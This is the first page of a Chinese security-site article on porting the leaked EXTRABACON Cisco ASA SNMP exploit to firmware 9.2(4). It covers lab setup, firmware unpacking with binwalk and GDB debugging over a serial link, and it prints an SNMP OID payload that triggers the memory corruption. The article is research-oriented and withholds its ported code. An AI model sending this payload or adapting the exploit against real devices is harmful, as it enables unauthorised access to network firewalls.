欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

简单四步,教你自己动手移植思科ASA漏洞利用EXTRABACON

来源:本站整理 作者:佚名 时间:2016-08-29 TAG: 我要投稿


在过去的几天里,我们仔细分析了由Shadow Brokers泄露的国安局漏洞利用代码EXTRABACON。根据XORcat得出的初步分析,这个利用代码能够利用SNMP服务中的内存崩溃漏洞绕过思科ASA设备的身份验证。我们在实验室里对这段代码进行了分析和测试,甚至进行了修改使其能够应用到9.2 (4) 版本。不过,在官方未发布修复补丁之前我们不打算公开这个升级代码。在这篇文章中,我们希望对移植过程进行一个详细的描述:移植的先决条件是什么,需要付出多少努力来扩展功能。同时我们也希望这篇总结能够给那些开始研究思科ASA的人们提供一个很好的资源。
思科ASA是什么?
思科自适应安全设备(ASA)是一种广泛采用的网络安全设备,除了提供标准数据包过滤功能,还提供了一个“智能”的组合,应用程序级的功能比如L7协议检验或VPN等。这个复杂的功能集大概是思科选择32位x86处理器来实现的原因之一。
供应商的主页数据显示有超过100万的这种设备部署在世界各地。
广泛部署,加上其体系结构的复杂性(很可能存在很多bug)使得思科ASA成为了黑客们梦寐以求的攻击对象。
测试准备工作
开始研究ASA最好有一些实际的硬件。幸运的是,ASA 5505在在线拍卖网站上可以以相对便宜的价格找到。
当拥有了硬件,你可能对它的配置毫无头绪,这个时候,你应该建立一个串行连接,从而在没有密码的情况下重置配置和访问控制台。因此你需要一个思科控制台连接线(RJ45-to-DB9)和一个RS232-USB转换器。通过这些你可以将设备的控制台端口连接到你的工作站上的USB端口。在Linux上你可以使用调制解调器通信程序(minicom)连接到控制台,连接参数有:
9600 baud、Parity:8N1
连接完毕之后,你可以检查固件版本并对设备进行配置。对我们来说,配置IP网络接口,允许SSH和SNMP是很重要的。
安装新的固件,你首先需要匹配的固件二进制文件。版本9.2(4) 映像文件的名称为asa924-k8.bin。可以使用SCP将新的固件上传到设备的内部闪存中:
scp asa924-k8.bin admin@192.168.5.1:/asa924-k8.bin
启动顺序可以根据官方手册(https://www.cisco.com/c/en/us/support/docs/security/asa-5500-x-series-next-generation-firewalls/200142-ASA-9-x-Upgrade-a-Software-Image-using.html)配置。
拥有了首选的固件版本和串行连接之后,你就可以通过发送下面的长SNMP OID来验证EXTRABACON造成的内存损坏利用:
1.3.6.1.4.1.9.9.491.1.3.3.1.1.5.9.95.184.16.204.71.173.53.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144
这可能会导致访问冲突,并会在串行控制台上输出一些基本的调试信息。
远程调试
远程调试的配置参考的是Alec Stuart 的教程(https://www.youtube.com/watch?v=KXqrovapQ5A),我们现在只是给出一个快速概述的过程。
ASA运行一个类似linux的操作系统,称为lina,固件映像文件包含根文件系统的所有二进制文件和配置文件——可以用binwalk提取:
1
 $ binwalk -e asa924-k8.bin
    DECIMAL     HEX         DESCRIPTION
    -------------------------------------------------------------------------------------------------------------------
    514         0x202       LZMA compressed data, properties: 0x64, dictionary size: 2097152 bytes, uncompressed size: 1048576 bytes
    144510      0x2347E     gzip compressed data, from Unix, last modified: Wed Jul 15 06:53:23 2015, max compression
    1500012     0x16E36C    ELF
    1501296     0x16E870    gzip compressed data, was "rootfs.img", from Unix, last modified: Wed Jul 15 07:19:52 2015
    28192154    0x1AE2D9A   Zip archive data, at least v2.0 to extract, name: "com/cisco/webvpn/csvrjavaloader64.dll" 
    28773362    0x1B70BF2   Zip archive data, at least v2.0 to extract, name: "AliasHandlerWrapper-win64.dll"
我们将Alec演示的repack.sh脚本修改为了:
1.从固件的映像中自动发现和修改rootfs.img
2.解压缩
3.替换rcS,这样在调试模式下会启动lina
4.重新打包rootfs
5.使用dd把新的rootfs归档到固件的二进制文件中
替换设备上的原有固件映像之后,lina开始等待启动时的GDB附加:
1
Process /asa/bin/lina created; pid = 518Remote debugging using /dev/ttyS0
继续执行,作为根用户启动GDB,并串行附加到目标上:
1
(gdb) target remote /dev/ttyUSB0
现在你可以交互式地调试你的设备了。
分析与修改
当我们开始处理EXTRABACON时,我们的主要问题是了解将其扩展到支持新的固件版本有多难。出于这个原因,我们采取了一个“hacky”方法寻找最简单的方法来解决这个问题,而不太关心思科的内部解析或其他细节。
首先让我们看一下目录结构:.
├── extrabacon_1.1.0.1.py

[1] [2] [3]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载